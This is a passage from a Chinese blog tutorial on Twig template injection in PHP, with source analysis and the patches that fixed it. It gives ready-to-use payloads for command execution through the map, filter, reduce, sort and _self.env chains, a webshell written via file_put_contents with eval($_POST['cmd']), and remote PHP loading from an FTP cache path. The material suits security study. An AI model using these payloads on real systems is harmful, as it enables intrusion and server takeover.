    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    /**
    * 获取当前配置的缓存目录(如果禁用缓存,则返回 false)
    *
    * @return string|false
    * - 如果启用了缓存,返回缓存目录路径(如 "/tmp/twig_cache")
    * - 如果未启用缓存,返回 false
    */
    public function getCache()
    {
    return $this->cache;
    }

    /**
    * 根据模板名称获取该模板对应的缓存文件路径(包含目录)
    *
    * Twig 会将模板编译成 PHP 类文件,并缓存在磁盘上;
    * 本函数根据模板名称计算出对应的缓存文件的完整路径。
    *
    * @param string $name 模板名称
    * @return string|false
    * - 返回缓存文件的绝对路径
    * - 如果未启用缓存($this->cache === false),返回 false
    */
    public function getCacheFilename($name)
    {
    // 如果禁用缓存,则直接返回 false
    if (false === $this->cache) {
    return false;
    }

    // 获取模板对应的类名,如:__TwigTemplate_b5a2c962...
    // 然后去掉前缀 __TwigTemplate_,只保留 hash 值部分
    $class = substr($this->getTemplateClass($name), strlen($this->templateClassPrefix));

    // 目录结构采用两级目录,每级只取 hash 的一个字符(非每两位一层!)
    // 示例:
    // $class = "b5a2c96250..."
    // 缓存路径 = ftp://localhost/backdoor/b/5/b5a2c96250....php
    return $this->getCache().'/'.$class[0].'/'.$class[1].'/'.$class.'.php';
    }
  3. 需要满足 is_file($cache) == true$this->isAutoReload() == true,否则要调用 $this->writeCacheFile 将重新编译的模板代码写入缓存路径(虽然我们可以自己用 python 的 pyftpdlib 库实现一个 ftp 服务器,使其支持写入文件同时返回的还是恶意文件)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 如果缓存文件不存在,或启用了自动刷新功能并发现模板有更新
    if (!is_file($cache) || ($this->isAutoReload() && !$this->isTemplateFresh($name, filemtime($cache)))) {

    // 重新编译模板源码并写入缓存文件
    $this->writeCacheFile(
    $cache,
    $this->compileSource($this->getLoader()->getSource($name), $name)
    );
    }
    • 由于 ftp 协议支持 is_file 函数,因此我们只需要在 ftp 服务器对应 $cache 路径下放置恶意文件皆可。
    • $this->isAutoReload() 返回的 $this->autoReload 默认为 false,满足条件。

最后会通过 require_once 从我们指定的 ftp 服务器上的 $cache 路径下载恶意 PHP 文件执行,实现 RCE。

1
2
// 从缓存文件中加载(相当于 require compiled PHP template)
require_once $cache;

任意代码执行

Twig_Environment 类中还有一个 getFilter 函数,该函数会调用 $this->filterCallbacks 中注册的回调函数并将 getFilter 的参数 $name 作为参数传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 根据过滤器名称获取对应的 Twig_Filter 实例。
*
* Twig 的过滤器(filter)是一种在模板中使用的函数调用方式,例如:
* {{ 'hello'|upper }} → 调用 'upper' 过滤器
*
* 本函数会根据给定的过滤器名称,依次尝试以下几种方式来返回对应的过滤器对象:
* 1. 在已注册过滤器列表中查找
* 2. 支持正则匹配的通配过滤器
* 3. 调用开发者注册的回调函数(filterCallbacks)来动态返回过滤器(⚠️可被用于 SSTI 利用)
*
* @param string $name 要查找的过滤器名称
* @return Twig_Filter|false
* - 如果找到对应的过滤器对象,返回 Twig_Filter 实例
* - 如果找不到,返回 false
*/
public function getFilter($name)
{
// [...]

// 遍历动态回调函数列表(可用于懒加载或注册未知过滤器)
foreach ($this->filterCallbacks as $callback) {
// 调用回调函数,传入过滤器名称,若返回合法 Twig_Filter 则直接返回
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}

// [...]
}

registerUndefinedFilterCallback 可以向 $this->filterCallbacks 中注册回调函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 注册一个“未定义过滤器”的回调处理函数。
*
* 当模板中使用了一个未定义的过滤器(如 {{ 'id'|foo }} 中的 foo),
* Twig 会遍历 `$this->filterCallbacks`,依次调用注册的回调函数。
*
* 每个回调函数都接收过滤器名称作为参数,如果返回了一个有效的 Twig_Filter 对象,
* 则该过滤器就被动态定义成功;否则继续尝试下一个回调。
*
* @param callable $callable 一个可调用函数(函数名、闭包、类方法等)
*/
public function registerUndefinedFilterCallback($callable)
{
// 将用户提供的回调函数添加到 filterCallbacks 数组中
$this->filterCallbacks[] = $callable;
}

因此我们可以先往回调函数里面注册 system 函数然后调用 getFilter 执行命令。

1
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("calc") }}

修复情况

在 Twig v1.20.0 中,官方修复了通过 _self.env 实现远程命令执行(RCE)的经典 SSTI 利用链,修复内容由 commit a8a125b 引入。

  • 禁止访问模板对象的属性(如 _self.env。如果对象是模板本身(Twig_Template),则不允许通过属性访问其内部成员。这一修补切断了 Twig_Template → Twig_Environment 的访问通路。

    1
    2
    3
    4
    -        if (self::METHOD_CALL !== $type) {
    + // 如果当前不是方法调用(是属性访问),并且目标对象不是 Twig_Template 实例:
    + // 因为 Twig_Template 没有 public 属性,我们不希望模板访问它的内部属性(如 env)
    + if (self::METHOD_CALL !== $type && !$object instanceof self) {
  • 禁止模板访问敏感方法(如 getEnvironment())。官方通过反射手动过滤掉了 Twig_Template 中的敏感 public 方法,如 getEnvironment(),防止通过方法调用绕过属性限制。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    foreach ($ref->getMethods(ReflectionMethod::IS_PUBLIC) as $refMethod) {
    // 获取当前方法的名称并转换为小写(Twig 内部使用小写方法名做比对)
    $methodName = strtolower($refMethod->name);

    // 禁止从模板中访问 getEnvironment 方法,以防止攻击者利用其获取 Twig_Environment 对象
    if ('getenvironment' !== $methodName) {
    // 将允许的方法名加入 methods 列表
    $methods[$methodName] = true;
    }
    }
  • 添加测试断言,确保访问失败。官方在测试用例中加入了断言,验证模板中无法再访问 envgetEnvironment() 等内部 API:

    1
    2
    3
    4
    $this->assertFalse($template->getAttribute($template1, 'env', array(), Twig_Template::ANY_CALL, true));
    $this->assertFalse($template->getAttribute($template1, 'environment', array(), Twig_Template::ANY_CALL, true));
    $this->assertFalse($template->getAttribute($template1, 'getEnvironment', array(), Twig_Template::METHOD_CALL, true));
    $this->assertFalse($template->getAttribute($template1, 'displayWithErrorHandling', array(), Twig_Template::METHOD_CALL, true));

Twig 2.x / 3.x(v2.10.0+,3 全版本)

虽然高版本不再运行我们在模板代码中使用 _self 变量,但是 Twig v2.10.0 开始(具体在commit 3d95ffe 引入)支持 "filter""map""reduce" 过滤器。与 1.x 版本类似,这些过滤器支持我们添加自定义回调函数,同样可以实现任意代码执行。

提示

Twig v2.10.0 引入的是 "filter""map""reduce" 过滤器,但是 Twig 远不止这三个过滤器。后续 2.x 版本中 Twig 又引入了 "sort" 过滤器,而 3.x 版本的过滤器更多。

在 Twig 中回调函数习惯使用 $arrow 命名回调函数,并且高版本中调用回调函数前都会调用 checkArrowInSandbox 进行安全检查。因此我们可以通过搜索这些特征快速定位到可用的过滤器。

map 过滤器

map 过滤器是 Twig 中用于对数组中的每一项进行转换(映射)的过滤器,具体如何映射取决于过滤器中注册的函数。例如下面这个模板:

1
{{[1, 2, 3]|map(x => x * 2)|join(', ')}}

其中的 map(x => x * 2) 注册了一个回调函数可以数组中的元素乘 2。通过调时我们发现这个模板生成的模板类 __TwigTemplate_3eda51de... 中的 doDisplay 函数如下:

提示

我们可以查看调用栈,在动态生成的模板类所调用到的方法上下断点,然后查看模板类的 $this->env->compiler->source 中存储的类的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* 模板的主要渲染函数(等价于模板中的 HTML + 表达式)
* $context 为传入模板的变量环境
*/
protected function doDisplay(array $context, array $blocks = [])
{
$macros = $this->macros;

// 第 1 行模板输出内容:Hello,
yield "Hello, ";

/**
* 执行 map + join 操作并 HTML 转义后输出:
*
* 对 [1, 2, 3] 执行 map(x => x * 2),结果为 [2, 4, 6]
* 再执行 join(", ") 得到字符串 "2, 4, 6"
* 最后通过 escape() 转义为安全 HTML 输出
*/
yield $this->env
->getRuntime('Twig\Runtime\EscaperRuntime') // 获取转义运行时对象
->escape(
CoreExtension::join( // 执行 join()
CoreExtension::map( // 执行 map()
$this->env,
[1, 2, 3],
function ($__x__) use ($context, $macros) {
$context["x"] = $__x__; // 将当前值写入上下文变量 x
return (($context["x"] ?? null) * 2); // 返回 x * 2
}
),
", " // 用逗号连接映射后的数组
),
"html", // 指定转义为 HTML
null,
true // 自动安全模式
);

return; yield ''; // 模板输出结束(协程形式)
}

其中 CoreExtension::map 函数会传入模板中的数组 [1,2,3] 以及我们注册的函数(Twig 编译器自动生成的PHP 匿名函数(closure))。

匿名函数接受一个参数 $__x__,然后会返回 $__x__ * 2

1
2
3
4
function ($__x__) use ($context, $macros) {
$context["x"] = $__x__; // 将当前值写入上下文变量 x
return (($context["x"] ?? null) * 2); // 返回 x * 2
}

在 PHP 中,匿名函数(closure)默认是不能访问外部变量的use(...) 语法就是为了解决这个问题,让你显式声明哪些变量可以被这个函数内部访问。

1
2
3
4
5
6
7
$outside = "hello";

$fn = function() use ($outside) {
echo $outside;
};

$fn(); // 输出 hello

CoreExtension::map 函数(2.x 是 twig_array_map 函数)会对传入的数组 $array 逐个调用回调函数 $arrow,并且数组的元素会作为第一个参数传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 实现 `map` 过滤器的核心函数(供模板编译后调用)
*
* ✅ 作用:
* 对传入数组 `$array` 的每一项调用 `$arrow` 函数(通常是箭头函数或用户指定的函数名),
* 返回处理后的新数组。
*
* ❗ 安全性说明:
* - 此函数是 Twig 的内部实现(标记为 @internal),一般不会直接调用
* - 会在沙箱(sandbox)模式下对 `$arrow` 的可执行性进行校验,防止任意函数调用
*
* @internal
*
* @param Environment $env 当前模板的执行环境(包含安全设置等上下文)
* @param array $array 要映射的数组(来自模板)
* @param callable $arrow 映射函数(可为箭头函数、闭包或函数名字符串)
*
* @return array 映射后的新数组(键不变,值为 `$arrow($v, $k)` 的结果)
*/
public static function map(Environment $env, $array, $arrow)
{
// 在启用 sandbox 模式下检查 $arrow 的合法性(防止模板调用危险函数)
self::checkArrowInSandbox($env, $arrow, 'map', 'filter');

// 初始化结果数组
$r = [];

// 遍历原数组,逐项应用 arrow 函数
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k); // ❗ 这里是函数调用点,若 $arrow 是 system/exec 等会触发命令执行
}

// 返回新数组
return $r;
}

因此我们不难想到在模板中把 map 的回调函数注册为命令执行函数,然后数组中的元素设置为要执行的命令,这样 Twig 在渲染模板的时候就可以实现任意命令执行。

1
2
3
{{["calc"]|map("system")}}
{{["calc"]|map("passthru")}}
{{["calc"]|map("exec")}} // 无回显

{{["calc"]|map("system")}} 为例,生成的 doDisplay 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 渲染模板的主要逻辑(由 Twig 编译器生成)
*
* @param array $context 模板上下文变量(如传入的 name、data 等变量)
* @param array $blocks 块级结构(一般用于继承模板中的 block 块)
*/
protected function doDisplay(array $context, array $blocks = [])
{
// 加载宏(macro)定义(当前模板未定义宏,所以为空)
$macros = $this->macros;

// 输出模板第 1 行的固定字符串部分
yield "Hello, ";

/**
* 以下为 Twig 表达式部分的渲染:
* {{ ["calc"]|map("system") }}
*
* 1. CoreExtension::map(...) 实际执行的是:
* - 遍历数组 ["calc"]
* - 对每个元素执行 system($value, $key)
* - 得到返回值数组(如 system("calc") 的返回值)
*
* 2. 执行 HTML 转义(防止输出包含 HTML 特殊字符)
*
* 3. yield 输出最终结果
*/
yield $this->env
->getRuntime('Twig\Runtime\EscaperRuntime') // 获取 Escaper 运行时组件
->escape(
Twig\Extension\CoreExtension::map( // 调用 map 过滤器底层实现
$this->env,
["calc"], // 输入数组
"system" // 映射函数名(即 system())
),
"html", // 输出转义为 HTML
null, // 不指定字符集
true // 启用自动安全模式
);

// 结束模板渲染(协程风格)
return; yield '';
}

另外观察发现,CoreExtension::map 函数实际上是支持两个参数的,其中第一个参数是数组中的元素,第二个参数是数组元素的下标。因此我们还可以通过 file_put_contents 函数写 web shell。

1
{{{"<?php phpinfo();eval($_POST['cmd'])":"1.php"}|map("file_put_contents")}}

对应 CoreExtension::map 的传参如下:

1
2
3
4
5
Twig\Extension\CoreExtension::map(          // 调用 map 执行 file_put_contents
$this->env,
["<?php phpinfo();eval(\$_POST['cmd'])" => "1.php"], // 键:shell 内容;值:目标文件名
"file_put_contents" // 映射函数名
),

filer 过滤器

filter 过滤器是 Twig 模板引擎中用于“筛选数组元素”的工具。它的作用和 PHP 的 array_filter() 类似:对数组中的每一项应用一个回调函数,保留返回值为真(truthy)的项,构造一个新数组返回。

与 map 过滤器一样,filter 过滤器同样支持我们自定义过滤回调函。因此我们可以构造类似下面这种模板来实现命令执行。

1
2
{{["calc"]|filter("system")}}
{{["calc"]|filter("passthru")}}

此时生成的模板类中的 doDisplay 函数调用的是 CoreExtension::filter 函数(2.x 是 twig_array_filter 函数)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function doDisplay(array $context, array $blocks = [])
{
$macros = $this->macros;

// 模板第一行,输出固定字符串
yield "Hello, ";

// 关键执行逻辑:
// 执行 filter( ["calc"], "system" )
// 然后转义后输出
yield $this->env
->getRuntime('Twig\Runtime\EscaperRuntime') // 获取 HTML 转义组件
->escape(
Twig\Extension\CoreExtension::filter( // 调用 filter 过滤器
$this->env,
["calc"], // 输入数组
"system" // 过滤条件函数
),
"html", null, true // HTML 安全转义
);

return; yield '';
}

CoreExtension::filter 会调用 array_filter 函数并传入数组 $array 和回调函数 $arrow,从而实现对数组中元素的过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* 实现 Twig 中的 `filter` 过滤器的底层逻辑(编译后调用)
*
* 用法:{{ [1, 2, 3]|filter(x => x > 1) }}
*
* @internal 只供 Twig 内部使用,不建议用户直接调用
*
* @param Environment $env 当前 Twig 模板的执行环境(包含上下文、安全控制等)
* @param iterable $array 要被过滤的数组或 Traversable 对象
* @param callable $arrow 过滤条件函数(返回 true 的元素将保留)
*
* @return array|Traversable 返回过滤后的结果,类型与原始结构一致
*
* @throws RuntimeError 如果 $array 参数不是数组或可遍历对象
*/
public static function filter(Environment $env, $array, $arrow)
{
// 检查输入参数是否可遍历(数组、迭代器、生成器等)
if (!is_iterable($array)) {
throw new RuntimeError(sprintf(
'The "filter" filter expects a sequence/mapping or "Traversable", got "%s".',
is_object($array) ? get_class($array) : gettype($array)
));
}

// 如启用了 sandbox 安全模式,则检查回调函数是否安全(是否允许执行)
self::checkArrowInSandbox($env, $arrow, 'filter', 'filter');

// 如果是普通数组,则使用 PHP 内置的 array_filter(可用 value 和 key)
if (is_array($array)) {
return array_filter($array, $arrow, ARRAY_FILTER_USE_BOTH);
// 会执行:$arrow($value, $key),并保留返回 true 的项
}

// 如果是对象/迭代器类(如 Traversable),则用 CallbackFilterIterator 处理
// 其中需要先包一层 IteratorIterator,因为某些 PHP 类实现了 Traversable 却不是 Iterator
return new \CallbackFilterIterator(
new \IteratorIterator($array), // 包装为标准可迭代对象
$arrow // 使用用户指定的过滤回调
);
}

这里要注意的是 array_filter 的第三个参数传入的是 ARRAY_FILTER_USE_BOTH 标志位,这意味着回调函数会接收 两个参数。其中第一个参数为值;第二个参数为键。也就是说我们可以像前面 map 过滤器一样通过 file_put_contents 函数写 web shell。

1
{{{"<?php phpinfo();eval($_POST['cmd'])":"1.php"}|filter("file_put_contents")}}

reduce 过滤器

reduce 过滤器是 Twig 模板中用于“数组归约”(也叫折叠、累计)的过滤器,它会遍历整个数组,把每一项的值依次“折叠”成一个最终的值。

reduce 过滤器对应的 CoreExtension::reduce 函数在调用回调函数传参时与前面两个过滤器稍有不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* Twig 中 `reduce` 过滤器的底层实现
*
* reduce 作用:对数组或可迭代对象进行归约处理,将其折叠成一个最终值
*
* 示例:
* {{ [1, 2, 3]|reduce((carry, item) => carry + item, 0) }} => 输出 6
*
* @internal 仅供 Twig 内部调用
*/
public static function reduce(Environment $env, $array, $arrow, $initial = null)
{
// 如果启用了 sandbox 模式,这里会检查传入的函数是否安全(是否允许执行)
self::checkArrowInSandbox($env, $arrow, 'reduce', 'filter');

// 只允许处理数组或 Traversable(如迭代器、生成器等)
if (!is_array($array) && !$array instanceof \Traversable) {
throw new RuntimeError(sprintf(
'The "reduce" filter only works with sequences/mappings or "Traversable", got "%s" as first argument.',
gettype($array)
));
}

// 初始化累计器为初始值
$accumulator = $initial;

// 遍历输入结构
foreach ($array as $key => $value) {
// 每一步归约操作
// 回调函数将接收:$accumulator(当前累计值),$value(当前项),$key(当前项的键)
$accumulator = $arrow($accumulator, $value, $key);
}

// 返回最终归约结果
return $accumulator;
}

这里 CoreExtension::reduce 函数支持 3 个参数。其中第一个参数是当前累加的值,后面两个参数才是数组中的值和键。而在模板中 reduce 的第一个参数为回调函数,第二个参数为归并的初始值。

也就是说下面这个模板:

1
{{ [1, 2, 3]|reduce((sum, n) => sum + n, 0) }}

在编译成 PHP 代码后等价于下面这段代码:

1
2
3
4
$acc = 0;
foreach ([1, 2, 3] as $key => $value) {
$acc = $arrow($acc, $value, $key);
}

因此如果直接调用 system 执行命令会有参数数量的报错:Warning: system() expects at most 2 parameters, 3 given,解决方法是利用 call_user_func 中转一下。

1
{{["calc"]|reduce("call_user_func", "system")}}

sort 过滤器

sort 过滤器是 Twig 模板引擎中的一个内置过滤器,用于对数组或可遍历对象进行排序操作。sort 过滤器会按照值对数组进行升序排序,支持默认排序自定义排序函数两种方式。

sort 过滤器最终调用到的是 CoreExtension::sort 函数。对于自定义排序方式,该函数通过调用 uasort 并传入注册的回调函数实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 实现 Twig 的 `sort` 过滤器:用于对数组进行排序。
*
* 支持默认升序排序,也支持传入自定义排序回调函数。
*
* 示例:
* {{ [3, 1, 2]|sort }} => [1, 2, 3]
* {{ [3, 1, 2]|sort((a, b) => b <=> a) }} => [3, 2, 1]
*
* @param Environment $env 当前 Twig 执行环境
* @param array|\Traversable $array 需要排序的数据(数组或可迭代对象)
* @param callable|null $arrow 自定义排序函数(可选)
*
* @return array 排序后的数组
*
* @internal
*/
public static function sort(Environment $env, $array, $arrow = null): array
{
// 如果是 Traversable(例如 Generator),先转换成数组
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
}
// 如果既不是数组也不是 Traversable,抛出运行时异常
elseif (!\is_array($array)) {
throw new RuntimeError(sprintf(
'The sort filter only works with sequences/mappings or "Traversable", got "%s".',
gettype($array)
));
}

// 如果提供了排序函数(箭头函数)
if (null !== $arrow) {
// 启用 sandbox 安全模式时,检查函数是否合法
self::checkArrowInSandbox($env, $arrow, 'sort', 'filter');

// 使用用户自定义的排序函数进行排序(保留键)
uasort($array, $arrow); // 保留数组原有键名
} else {
// 默认行为:使用 PHP 内建升序排序(保留键)
asort($array);
}

// 返回排序后的数组
return $array;
}

因此我们可以使用下面这个模板语句执行命令:

1
{{["calc", 0]|sort("system")}}

沙箱逃逸

CVE-2024-45411(小于 1.44.8,2.16.1,3.14.0)

补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
From 7afa198603de49d147e90d18062e7b9addcf5233 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 9 Sep 2024 18:51:43 +0200
Subject: [PATCH] Fix a security issue when an included sandboxed template has
been loaded before without the sandbox context

---
src/Extension/CoreExtension.php | 11 ++++------
tests/Extension/CoreTest.php | 38 +++++++++++++++++++++++++++++++++
2 files changed, 42 insertions(+), 7 deletions(-)

diff --git a/src/Extension/CoreExtension.php b/src/Extension/CoreExtension.php
index e64696b4ef3..bf1926cfb0e 100644
--- a/src/Extension/CoreExtension.php
+++ b/src/Extension/CoreExtension.php
@@ -1569,13 +1569,6 @@ function twig_include(Environment $env, $context, $template, $variables = [], $w
if (!$alreadySandboxed = $sandbox->isSandboxed()) {
$sandbox->enableSandbox();
}
-
- foreach ((\is_array($template) ? $template : [$template]) as $name) {
- // if a Template instance is passed, it might have been instantiated outside of a sandbox, check security
- if ($name instanceof TemplateWrapper || $name instanceof Template) {
- $name->unwrap()->checkSecurity();
- }
- }
}

$loaded = null;
@@ -1604,6 +1597,10 @@ function twig_include(Environment $env, $context, $template, $variables = [], $w
}

try {
+ if ($isSandboxed && $loaded) {
+ $loaded->unwrap()->checkSecurity();
+ }
+
$ret = $loaded ? $loaded->render($variables) : '';
} catch (\Exception $e) {
if ($isSandboxed && !$alreadySandboxed) {
diff --git a/tests/Extension/CoreTest.php b/tests/Extension/CoreTest.php
index 66c32ff150e..c3907800d35 100644
--- a/tests/Extension/CoreTest.php
+++ b/tests/Extension/CoreTest.php
@@ -12,6 +12,10 @@
*/

use Twig\Environment;
+use Twig\Extension\SandboxExtension;
+use Twig\Loader\ArrayLoader;
+use Twig\Sandbox\SecurityError;
+use Twig\Sandbox\SecurityPolicy;

class CoreTest extends \PHPUnit\Framework\TestCase
{
@@ -283,6 +287,40 @@ public function provideSliceFilterCases()
[[], new \ArrayIterator([1, 2]), 3],
];
}
+
+ public function testSandboxedInclude()
+ {
+ $twig = new Environment(new ArrayLoader([
+ 'index' => '{{ include("included", sandboxed=true) }}',
+ 'included' => '{{ "included"|e }}',
+ ]));
+ $policy = new SecurityPolicy([], [], [], [], ['include']);
+ $sandbox = new SandboxExtension($policy, false);
+ $twig->addExtension($sandbox);
+
+ // We expect a compile error
+ $this->expectException(SecurityError::class);
+ $twig->render('index');
+ }
+
+ public function testSandboxedIncludeWithPreloadedTemplate()
+ {
+ $twig = new Environment(new ArrayLoader([
+ 'index' => '{{ include("included", sandboxed=true) }}',
+ 'included' => '{{ "included"|e }}',
+ ]));
+ $policy = new SecurityPolicy([], [], [], [], ['include']);
+ $sandbox = new SandboxExtension($policy, false);
+ $twig->addExtension($sandbox);
+
+ // The template is loaded without the sandbox enabled
+ // so, no compile error
+ $twig->load('included');
+
+ // We expect a runtime error
+ $this->expectException(SecurityError::class);
+ $twig->render('index');
+ }
}

function foo_escaper_for_test(Environment $env, $string, $charset)
  • Title: PHP 模板注入
  • Author: sky123
  • Created at : 2025-08-11 23:53:29
  • Updated at : 2025-08-12 00:26:31
  • Link: https://skyi23.github.io/2025/08/11/PHP 模板注入/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments